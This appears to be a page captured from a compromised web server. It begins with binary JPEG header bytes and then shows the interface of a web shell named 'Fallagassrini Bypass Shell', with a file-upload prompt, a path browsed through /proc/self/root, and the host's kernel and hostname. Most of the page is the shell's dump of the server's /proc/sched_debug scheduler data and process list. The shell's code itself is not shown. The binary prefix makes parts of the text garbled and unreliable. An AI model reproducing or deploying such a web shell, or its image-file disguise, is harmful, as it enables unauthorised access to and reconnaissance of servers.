JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /proc/self/root/proc/

Linux server.meentosys.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Upload File :
Current File : //proc/self/root/proc/sched_debug

Sched Debug Version: v0.11, 3.10.0-1160.105.1.el7.x86_64 #1
ktime                                   : 3194226058.269951
sched_clk                               : 3194176859.667496
cpu_clk                                 : 3194226058.270017
jiffies                                 : 7488893355
sched_clock_stable()                    : 0

sysctl_sched
  .sysctl_sched_latency                    : 18.000000
  .sysctl_sched_min_granularity            : 10.000000
  .sysctl_sched_wakeup_granularity         : 15.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 40571
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2799.998 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 627729042
  .nr_load_updates               : 1239601086
  .nr_uninterruptible            : -8874
  .next_balance                  : 7488.893353
  .curr->pid                     : 0
  .clock                         : 3194226055.039679
  .cpu_load[0]                   : 1024
  .cpu_load[1]                   : 512
  .cpu_load[2]                   : 256
  .cpu_load[3]                   : 128
  .cpu_load[4]                   : 64
  .avg_idle                      : 2852933
  .max_idle_balance_cost         : 2043588

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 42070492040.095243
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_load_avg             : 0
  .blocked_load_avg              : 12
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 822
  .avg->runnable_avg_period      : 46787

rt_rq[0]:/bitninja_main
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
    kworker/0:0H     4      1043.554262        10   100         0.000000         0.091050         0.000000 0 /
     ksoftirqd/0     6 42070492031.110383   3861585   120         0.000000     77170.612696         0.000000 0 /
     migration/0     7         0.000000   2622185     0         0.000000     29151.799993         0.000000 0 /
          rcu_bh     8        19.856467         2   120         0.000000         0.001120         0.000000 0 /
   lru-add-drain    10        23.858091         2   100         0.000000         0.001990         0.000000 0 /
      watchdog/0    11         0.000000    798561     0         0.000000     18517.095562         0.000000 0 /
         kswapd0    45 42062270102.277270    102576   120         0.000000    225503.941578         0.000000 0 /
         ata_sff   285 40100025761.493714        20   100         0.000000         0.440590         0.000000 0 /
   virtscsi-scan   286      1013.933439         2   100         0.000000         0.006060         0.000000 0 /
       scsi_eh_1   289      1022.934964         2   120         0.000000         0.001530         0.000000 0 /
       scsi_eh_2   290      1034.556373        11   120         0.000000         2.518222         0.000000 0 /
      scsi_tmf_1   291      1031.951152         2   100         0.000000         0.005260         0.000000 0 /
      scsi_tmf_2   292      1031.952078         2   100         0.000000         0.005200         0.000000 0 /
    kworker/0:1H   329 42070434194.962218    771191   100         0.000000     12857.471097         0.000000 0 /
      irqbalance   574 42070371811.044920    319455   120         0.000000    102665.438699         0.000000 0 /
         php-fpm   970 42070492031.131873   3191319   120         0.000000    161374.331670         0.000000 0 /
         php-fpm   979 42070492031.131773   3191317   120         0.000000    156476.467444         0.000000 0 /
         php-fpm   983 42070492031.129383   3193467   120         0.000000    160464.257977         0.000000 0 /
   zabbix_agentd   992 42070492031.141643   3194777   120         0.000000    243925.215925         0.000000 0 /
         php-fpm   995 42070492031.144804   3191376   120         0.000000    158338.790996         0.000000 0 /
         php-fpm   998 42070492031.132013   5130577   120         0.000000    224046.071813         0.000000 0 /
       pure-ftpd   999 42069951606.977921     12439   120         0.000000      4580.387178         0.000000 0 /
           named  1025      1723.699089        10   120         0.000000         4.995448         0.000000 0 /
  isc-worker0000  1026 42070434195.244752   3085634   120         0.000000    269044.758492         0.000000 0 /
  isc-worker0001  1027 42070434194.965702   3067717   120         0.000000    272527.271444         0.000000 0 /
          mysqld  1108 42070139274.029345   1599313   120         0.000000    103965.062730         0.000000 0 /
          mysqld  1307 42070492031.132193   6412814   120         0.000000    211366.468675         0.000000 0 /
          mysqld  1312 42070492031.171503   9165239   120         0.000000    330951.192224         0.000000 0 /
          mysqld  1523 42070449342.863478    324103   120         0.000000     17097.461806         0.000000 0 /
          mysqld  1536 42070492031.121433   3193846   120         0.000000    110805.856682         0.000000 0 /
          mysqld  1537      3331.778247         1   120         0.000000         0.015430         0.000000 0 /
          mysqld  1538      3351.621392         1   120         0.000000         0.062570         0.000000 0 /
          mysqld  1540      3374.288908         1   120         0.000000         0.132354         0.000000 0 /
          mysqld  1541      3390.961671         5   120         0.000000         0.812987         0.000000 0 /
          mysqld  8841 42070139274.276402     51450   120         0.000000     16920.416158         0.000000 0 /
          mysqld  1419 42070139275.090159      3407   120         0.000000       681.633799         0.000000 0 /
    in:imjournal  1337 42070492031.139923   6226953   120         0.000000    631465.365095         0.000000 0 /
          agetty  1340      4327.593154         6   120         0.000000         5.769921         0.000000 0 /
          agetty  1344      4284.634140         6   120         0.000000         4.002307         0.000000 0 /
        bitninja  1919 42070479759.457706   6539549   120         0.000000   1149619.031932         0.000000 0 /
 disk-spacealert  9551 17169426771.642905         7   120         0.000000         3.414006         0.000000 0 /
   bitninja-dojo 32745 18398504919.221103        94   138         0.000000        74.472296         0.000000 0 /
   bitninja-dojo 32746 18398505512.401652        89   138         0.000000        71.718808         0.000000 0 /
   bitninja-dojo 32751 18398504916.780961        68   138         0.000000        54.249534         0.000000 0 /
         php-fpm 31516 42070492031.137163   1938727   120         0.000000    181176.207267         0.000000 0 /
 bitninja-dispat 12998 42070479760.013676   2228823   120         0.000000    793280.667208         0.000000 0 /
            node 13003 42070371725.837450     22002   120         0.000000     14569.768213         0.000000 0 /
 bitninja-dispat 13006 42070434121.735135    157333   120         0.000000      8380.386802         0.000000 0 /
    kworker/u8:2 24298 41755054034.542909     20117   120         0.000000      3422.243390         0.000000 0 /
          cwpsrv 21620 42067010703.637576      6095   120         0.000000      2142.055503         0.000000 0 /
          cwpsrv 21621 42067010703.987487      5073   120         0.000000      1656.319057         0.000000 0 /
           httpd 22172 42070492031.147053     85098   120         0.000000      5971.032083         0.000000 0 /
           httpd  4422 42070434039.800131       828   120         0.000000       733.102443         0.000000 0 /
           httpd  4427 42070386582.722540       948   120         0.000000      1846.116739         0.000000 0 /
           httpd  4433 42070492031.852056       896   120         0.000000       782.973437         0.000000 0 /
           httpd  4442 42070492031.166043     35835   120         0.000000      1385.030501         0.000000 0 /
           httpd  4399 42070434074.936592       769   120         0.000000       636.388784         0.000000 0 /
           httpd  4412 42070434040.695368       807   120         0.000000       647.051366         0.000000 0 /
           httpd  4413 42070386582.902400       829   120         0.000000       688.038514         0.000000 0 /
           httpd  4414 42070492031.492236     35410   120         0.000000      1329.203814         0.000000 0 /
           httpd  4459 42070434040.028162      1138   120         0.000000       982.353057         0.000000 0 /
           httpd  4468 42070492031.172293     37547   120         0.000000      1638.217278         0.000000 0 /
           httpd  4500 42070434212.340555      1523   120         0.000000      1302.533326         0.000000 0 /
           httpd  4502 42070492031.187483     40527   120         0.000000      1994.625368         0.000000 0 /
           httpd  5349 41971181582.757764         1   120         0.000000        34.282854         0.000000 0 /
           httpd  5351 42070479758.617305      2478   120         0.000000      2055.877421         0.000000 0 /
           httpd  5362 42070479758.849760      2325   120         0.000000      1858.728183         0.000000 0 /
           httpd  5371 42070492031.327117      2619   120         0.000000      1992.096912         0.000000 0 /
           httpd  5376 42070492031.167003     46574   120         0.000000      2740.968644         0.000000 0 /
     kworker/0:2  1085 42070492031.158253     23986   120         0.000000      4724.433009         0.000000 0 /
        proxymap  9629 42069778529.635972        55   120         0.000000        13.261678         0.000000 0 /
     kworker/0:0 16220 42069582386.872121       152   120         0.000000         9.191922         0.000000 0 /
     kworker/0:1 20005 42070479758.611155        37   120         0.000000         2.171141         0.000000 0 /
            auth 20471 42070155779.755949        15   120         0.000000        17.114819         0.000000 0 /
            auth 20478 42070139283.096995        10   120         0.000000        15.895960         0.000000 0 /

cpu#1, 2799.998 MHz
  .nr_running                    : 1
  .load                          : 1024
  .nr_switches                   : 630733746
  .nr_load_updates               : 1292734845
  .nr_uninterruptible            : 8481
  .next_balance                  : 7488.893452
  .curr->pid                     : 20893
  .clock                         : 3194226058.008527
  .cpu_load[0]                   : 1024
  .cpu_load[1]                   : 1024
  .cpu_load[2]                   : 1028
  .cpu_load[3]                   : 1028
  .cpu_load[4]                   : 938
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 41059227841.165024
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -1011264198.930219
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1024
  .runnable_load_avg             : 1023
  .blocked_load_avg              : 16
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 24257
  .avg->runnable_avg_period      : 46213

rt_rq[1]:/bitninja_main
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
      watchdog/1    12        -2.994030    798562     0         0.000000     15547.216401         0.000000 0 /
     migration/1    13         0.000000   3808929     0         0.000000     47953.189623         0.000000 0 /
     ksoftirqd/1    14 41059227818.213376   2682408   120         0.000000     71547.937884         0.000000 0 /
    kworker/1:0H    16      3350.394581        10   100         0.000000         0.049630         0.000000 0 /
        xfsalloc   319      1069.156533         2   100         0.000000         0.006900         0.000000 0 /
   xfs_mru_cache   320      1073.659709         2   100         0.000000         0.004230         0.000000 0 /
   xfs-data/sda1   322 30486967457.943473        11   100         0.000000         2.889576         0.000000 0 /
    xfsaild/sda1   328 41059227804.132492  62883385   120         0.000000   1443460.324661         0.000000 0 /
 systemd-journal   448 41059214375.420022   2785448   120         0.000000   1434635.821433         0.000000 0 /
          auditd   537 41059214374.384226   5784335   116         0.000000    286989.652921         0.000000 0 /
     dbus-daemon   566 41058788631.433826    984831   120         0.000000    108960.563847         0.000000 0 /
           gmain   606      1948.177676         2   120         0.000000         0.113356         0.000000 0 /
    JS GC Helper   609      1957.577670         1   120         0.000000         0.123436         0.000000 0 /
  systemd-logind   578 41059227423.698656    756901   120         0.000000     65365.694433         0.000000 0 /
        gssproxy   585      1886.010417         1   120         0.000000         0.031910         0.000000 0 /
        gssproxy   586      1890.513232         1   120         0.000000         0.003460         0.000000 0 /
        gssproxy   587      1895.023247         1   120         0.000000         0.010020         0.000000 0 /
        gssproxy   588      1899.530252         1   120         0.000000         0.007010         0.000000 0 /
        gssproxy   589      1904.038837         1   120         0.000000         0.008590         0.000000 0 /
    kworker/1:1H   898 41059213765.194619    245269   100         0.000000      5406.934290         0.000000 0 /
         php-fpm   964 41059227535.693992   3191385   120         0.000000    153946.421340         0.000000 0 /
         php-fpm   967 41059227787.495621   3191491   120         0.000000    170460.616887         0.000000 0 /
         php-fpm   969 41059227587.072817   3191370   120         0.000000    159669.504373         0.000000 0 /
         php-fpm   981 41059227543.831613   3191421   120         0.000000    160711.185180         0.000000 0 /
   zabbix_agentd   987 41059227535.857345   3193591   120         0.000000    619709.508522         0.000000 0 /
  isc-worker0002  1028 41059226748.103302   3071296   120         0.000000    271418.694448         0.000000 0 /
       isc-timer  1030 41056903208.323588      8427   120         0.000000       595.950551         0.000000 0 /
          mysqld  1302 41059227699.023661   6386899   120         0.000000    213204.571647         0.000000 0 /
          mysqld  1303 41059227738.948644   6470564   120         0.000000    179034.010935         0.000000 0 /
          mysqld  1304 41059227787.480981   6407469   120         0.000000    216266.833104         0.000000 0 /
          mysqld  1305 41059227738.953744   6408783   120         0.000000    215617.690477         0.000000 0 /
          mysqld  1308 41059227738.958544   6479619   120         0.000000    177634.907927         0.000000 0 /
          mysqld  1309 41059227738.969595   6405134   120         0.000000    195182.848749         0.000000 0 /
          mysqld  1310 41059227787.490491   6406675   120         0.000000    191242.453046         0.000000 0 /
          mysqld  1311 41059227787.486721   6415210   120         0.000000    187797.711400         0.000000 0 /
          mysqld  1519 41059227540.796260   3193827   120         0.000000    139065.689236         0.000000 0 /
          mysqld  1520 41059227484.287796   3192609   120         0.000000   2427991.259685         0.000000 0 /
          mysqld  1525 41059105344.905614    588483   120         0.000000     22601.207167         0.000000 0 /
          mysqld  1526 41059105344.898414    257751   120         0.000000      3090.312507         0.000000 0 /
          mysqld  1527 41059105344.922424    261945   120         0.000000      3261.809440         0.000000 0 /
          mysqld  1539 41059182581.575161    115858   120         0.000000      8253.570105         0.000000 0 /
          mysqld  8842 41059126219.602640     33955   120         0.000000      9677.198980         0.000000 0 /
          master  1283 41059212839.111950    472422   120         0.000000    109914.903789         0.000000 0 /
        rsyslogd  1321 41057857435.247022      5387   120         0.000000       560.728039         0.000000 0 /
   rs:main Q:Reg  1338 41059214374.398991   3470445   120         0.000000    181079.470083         0.000000 0 /
             atd  1342 41056903405.274744       899   120         0.000000       124.417392         0.000000 0 /
           crond  9550 17519043947.750712        15   120         0.000000         6.754889         0.000000 0 /
   bitninja-dojo 32744 18710387809.458660       104   138         0.000000        74.304026         0.000000 0 /
            qmgr 20375 41059126761.452587      4193   120         0.000000      1191.299449         0.000000 0 /
            node 13000 41059212903.030335     21948   120         0.000000     14398.065805         0.000000 0 /
            node 13002 41059181642.416077     21789   120         0.000000     14386.468786         0.000000 0 /
    kworker/u8:0 23122 41059226623.036426     15443   120         0.000000      2669.624329         0.000000 0 /
     kworker/1:2 31046 41059227738.947165     34181   120         0.000000       877.163461         0.000000 0 /
           httpd  4389 41059227787.681584       829   120         0.000000       763.959970         0.000000 0 /
           httpd  4390 41059227787.528462       813   120         0.000000       697.684883         0.000000 0 /
           httpd  4446 41059226623.674971      2236   120         0.000000      1100.745867         0.000000 0 /
           httpd  4451 41059214374.506891      1054   120         0.000000       876.604031         0.000000 0 /
           httpd  4454 41059226989.005950      1087   120         0.000000       885.500467         0.000000 0 /
           httpd  4462 41059226635.737911      1120   120         0.000000       916.767311         0.000000 0 /
           httpd  4464 41059226691.475334      1085   120         0.000000       927.116580         0.000000 0 /
           httpd  4475 41009976303.787248         1   120         0.000000        15.642232         0.000000 0 /
           httpd  4478 41059214138.462907      1452   120         0.000000      1161.093257         0.000000 0 /
           httpd  4494 41059213917.486216      1349   120         0.000000      1097.109673         0.000000 0 /
           httpd  5356 41059226635.851977      2662   120         0.000000      2168.198405         0.000000 0 /
     kworker/1:1 25144 41042739502.659256         6   120         0.000000         0.078381         0.000000 0 /
         anacron 28809 41043218653.804159         1   120         0.000000         1.332976         0.000000 0 /
R        php-cgi 20893 41059227842.162950         3   120         0.000000        43.774108         0.000000 0 /

cpu#2, 2799.998 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 563941362
  .nr_load_updates               : 1295384849
  .nr_uninterruptible            : -7395
  .next_balance                  : 7488.893357
  .curr->pid                     : 0
  .clock                         : 3194226059.018423
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 32
  .cpu_load[2]                   : 81
  .cpu_load[3]                   : 91
  .cpu_load[4]                   : 134
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[2]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 46656672359.110029
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 4586180319.014786
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_load_avg             : 0
  .blocked_load_avg              : 65
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 5631
  .avg->runnable_avg_period      : 46839

rt_rq[2]:/bitninja_main
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
        kthreadd     2 46654814460.229551     27385   120         0.000000      1371.539818         0.000000 0 /
       rcu_sched     9 46656672350.281929 498183016   120         0.000000   5081925.018490         0.000000 0 /
      watchdog/2    17        -6.000000    798559     0         0.000000     15826.676531         0.000000 0 /
     migration/2    18         0.000000   3079595     0         0.000000     33682.280898         0.000000 0 /
     ksoftirqd/2    19 46656672337.533343   3868950   120         0.000000     89434.480052         0.000000 0 /
    kworker/2:0H    21       192.460070        10   100         0.000000         0.055110         0.000000 0 /
      khugepaged    47 46655859376.529615    141243   139         0.000000     10646.672603         0.000000 0 /
          bioset   318       201.459519         2   100         0.000000         0.020460         0.000000 0 /
    xfs-cil/sda1   324 46271990986.688142        26   100         0.000000         1.536681         0.000000 0 /
    kworker/2:1H   330 46655919113.269325    301594   100         0.000000      7325.153986         0.000000 0 /
   systemd-udevd   482 29365679979.887678       389   120         0.000000        59.131832         0.000000 0 /
           gdbus   607 46650919822.103336    300441   120         0.000000     29639.325757         0.000000 0 /
         php-fpm   965 46656672330.509289   3191452   120         0.000000    158613.434206         0.000000 0 /
        bitninja   971 46656672343.216685  48607171   120         0.000000   7367241.910547         0.000000 0 /
         php-fpm   974 46656672343.115987   3191516   120         0.000000    156416.138730         0.000000 0 /
   zabbix_agentd   990 46656608394.163323    495256   120         0.000000     60340.466249         0.000000 0 /
         php-fpm   994 46656672350.196149   3191332   120         0.000000    157850.005128         0.000000 0 /
           tuned   997 46630874031.612061      1285   120         0.000000       309.617958         0.000000 0 /
           gmain  1166      1342.410010         1   120         0.000000         0.067490         0.000000 0 /
           tuned  1167 46656672330.568979   3190957   120         0.000000    421850.191085         0.000000 0 /
           tuned  1177      1369.423050         3   120         0.000000         0.175040         0.000000 0 /
           tuned  1181      1386.019561         1   120         0.000000         0.598911         0.000000 0 /
  isc-worker0003  1029 46656579132.290853   3069133   120         0.000000    271295.128793         0.000000 0 /
      isc-socket  1031 46656579132.633419   9874086   120         0.000000    347296.896345         0.000000 0 /
          mysqld  1306 46656672337.558504   6422785   120         0.000000    215218.635690         0.000000 0 /
          mysqld  1521 46656579186.888643    638832   120         0.000000     32526.275175         0.000000 0 /
          mysqld  1522 46656672343.617322   3288909   120         0.000000   1848129.377991         0.000000 0 /
          mysqld 10974 46654814444.749194     36170   120         0.000000      6332.599251         0.000000 0 /
          mysqld  3601 46654000324.526931     47634   120         0.000000     13511.609578         0.000000 0 /
        opendkim  1120      1282.464059         7   120         0.000000         0.440597         0.000000 0 /
        opendkim  1127      1299.095864         1   120         0.000000         0.005710         0.000000 0 /
        opendkim  1128      1297.617171         1   120         0.000000         0.006250         0.000000 0 /
     in:imuxsock  1336      2033.292915         1   120         0.000000         0.028300         0.000000 0 /
    redis-server  1322 46656672343.307785  31857134   120         0.000000   4299000.743721         0.000000 0 /
   bio_aof_fsync  1331      2004.035803         1   120         0.000000         0.009950         0.000000 0 /
   bio_lazy_free  1332      1993.872666         1   120         0.000000         0.010590         0.000000 0 /
         dovecot  1415 46655859239.150937    294769   120         0.000000     30830.484504         0.000000 0 /
           anvil  1509 46656578377.123568    126817   120         0.000000     11215.785128         0.000000 0 /
        bitninja  1918 46656672343.110344  22791868   110         0.000000   4628622.283394         0.000000 0 /
        bitninja  1920 46656672330.762059   7018735   120         0.000000   1199672.783142         0.000000 0 /
            mail  9568 20948698862.757215         3   120         0.000000         3.488019         0.000000 0 /
   bitninja-dojo 32748 22334717962.248058        72   138         0.000000        70.298059         0.000000 0 /
   bitninja-dojo 32749 22334717961.555720        78   138         0.000000        64.019219         0.000000 0 /
   bitninja-dojo 32750 22334718001.948025        72   138         0.000000        65.099371         0.000000 0 /
          config 20356 46655859239.015631     47859   120         0.000000     16319.381131         0.000000 0 /
 bitninja-mq-ser 12946 46656672350.300889  12028678   120         0.000000   1167452.872744         0.000000 0 /
 jemalloc_bg_thd 12951 46654814438.674629      9757   120         0.000000       878.455918         0.000000 0 /
            node 13001 46656400736.958231     21854   120         0.000000     14521.727057         0.000000 0 /
 bitninja-dispat 13005 46656578405.533045    157330   120         0.000000      8522.645407         0.000000 0 /
 bitninja-dispat 13007 46656578405.592055    157350   120         0.000000      8477.780443         0.000000 0 /
           httpd  4419 46656578395.764260       920   120         0.000000       829.311097         0.000000 0 /
           httpd  4420 46656579076.210562       887   120         0.000000       711.129390         0.000000 0 /
           httpd  4426 46656672343.568282       875   120         0.000000       685.697288         0.000000 0 /
           httpd  4428 46656424898.853463       828   120         0.000000       669.628772         0.000000 0 /
           httpd  4429 46656579187.524669       934   120         0.000000       859.840309         0.000000 0 /
           httpd  4435 46656574925.232303       840   120         0.000000       749.698974         0.000000 0 /
           httpd  4437 46656670111.438549       888   120         0.000000       718.491414         0.000000 0 /
           httpd  4438 46656578378.188269       859   120         0.000000       744.974033         0.000000 0 /
           httpd  4440 46656578884.576768       873   120         0.000000       752.346483         0.000000 0 /
           httpd  4385 46447133534.744188      1380   120         0.000000        35.016788         0.000000 0 /
           httpd  4391 46656579113.937557       849   120         0.000000       774.981340         0.000000 0 /
           httpd  4392 46656579125.788551       826   120         0.000000       696.744870         0.000000 0 /
           httpd  4393 46656672343.202115       804   120         0.000000       677.602105         0.000000 0 /
           httpd  4394 46656579125.132961       786   120         0.000000       660.529624         0.000000 0 /
           httpd  4395 46656672337.790223       744   120         0.000000       612.388523         0.000000 0 /
           httpd  4396 46656578385.825249       709   120         0.000000       553.168218         0.000000 0 /
           httpd  4397 46656672344.106050       812   120         0.000000       684.828565         0.000000 0 /
           httpd  4398 46656579120.396885       767   120         0.000000       651.388092         0.000000 0 /
           httpd  4402 46656424756.367622       818   120         0.000000       717.616430         0.000000 0 /
           httpd  4403 46656424930.314798       835   120         0.000000       752.880192         0.000000 0 /
           httpd  4404 46656579113.693639       827   120         0.000000       791.389938         0.000000 0 /
           httpd  4406 46656672337.772133       821   120         0.000000       691.309590         0.000000 0 /
           httpd  4408 46656579124.941801       835   120         0.000000       715.799010         0.000000 0 /
           httpd  4409 46656579076.336212       761   120         0.000000       605.916912         0.000000 0 /
           httpd  4443 46656578377.128248      1101   120         0.000000       923.809332         0.000000 0 /
           httpd  4445 46656672344.322466      1129   120         0.000000      1048.099351         0.000000 0 /
           httpd  4450 46656578405.847538      1080   120         0.000000       887.294055         0.000000 0 /
           httpd  4457 46656424969.891585      1136   120         0.000000       968.931465         0.000000 0 /
           httpd  4465 46656271598.567181      1136   120         0.000000       951.153872         0.000000 0 /
           httpd  4477 46656424930.302648      1528   120         0.000000      1384.771174         0.000000 0 /
           httpd  4479 46656574924.909505      1549   120         0.000000      1342.659648         0.000000 0 /
           httpd  4480 46656424969.566636      1570   120         0.000000      1356.223506         0.000000 0 /
           httpd  4484 46656424893.779546      1516   120         0.000000      1296.963357         0.000000 0 /
           httpd  4486 46656424898.603087      1540   120         0.000000      1285.155371         0.000000 0 /
           httpd  4487 46656672346.166294      1705   120         0.000000      1318.465830         0.000000 0 /
           httpd  4489 46656574925.065073      1514   120         0.000000      1263.221923         0.000000 0 /
           httpd  4493 46656574924.937525      1455   120         0.000000      1215.851024         0.000000 0 /
           httpd  4497 46656424937.401292      1480   120         0.000000      1255.928463         0.000000 0 /
           httpd  4499 46656424905.650928      1472   120         0.000000      1190.470072         0.000000 0 /
           httpd  5353 46656579120.363412      2574   120         0.000000      2266.867644         0.000000 0 /
           httpd  5354 46656672338.427454      2464   120         0.000000      2072.662220         0.000000 0 /
           httpd  5355 46656672337.613403      2376   120         0.000000      1990.992308         0.000000 0 /
           httpd  5357 46656670115.760418      2403   120         0.000000      1955.574932         0.000000 0 /
           httpd  5359 46656579120.483622      2413   120         0.000000      1916.343986         0.000000 0 /
           httpd  5361 46656579120.962106      2520   120         0.000000      2168.883877         0.000000 0 /
           httpd  5365 46656271641.083995      2409   120         0.000000      1952.246144         0.000000 0 /
           httpd  5367 46656579113.871650      2392   120         0.000000      2200.483558         0.000000 0 /
           httpd  5368 46656579124.948371      2366   120         0.000000      2176.423190         0.000000 0 /
           httpd  5374 46656672343.703935      2291   120         0.000000      1910.583971         0.000000 0 /
     kworker/2:0 10822 46651087471.059967       398   120         0.000000         6.837948         0.000000 0 /
     kworker/2:2 14610 46655919003.115148       369   120         0.000000        12.251445         0.000000 0 /
     kworker/2:1 18204 46656672337.532813       259   120         0.000000         4.043224         0.000000 0 /
        proxymap 20180 46655238503.061250         1   120         0.000000         6.363606         0.000000 0 /

cpu#3, 2799.998 MHz
  .nr_running                    : 1
  .load                          : 18
  .nr_switches                   : 517043726
  .nr_load_updates               : 1372335100
  .nr_uninterruptible            : 7788
  .next_balance                  : 7488.893380
  .curr->pid                     : 1917
  .clock                         : 3194226059.005553
  .cpu_load[0]                   : 18
  .cpu_load[1]                   : 18
  .cpu_load[2]                   : 18
  .cpu_load[3]                   : 18
  .cpu_load[4]                   : 18
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[3]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 51826091927.886561
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 9755599887.791318
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 18
  .runnable_load_avg             : 17
  .blocked_load_avg              : 0
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
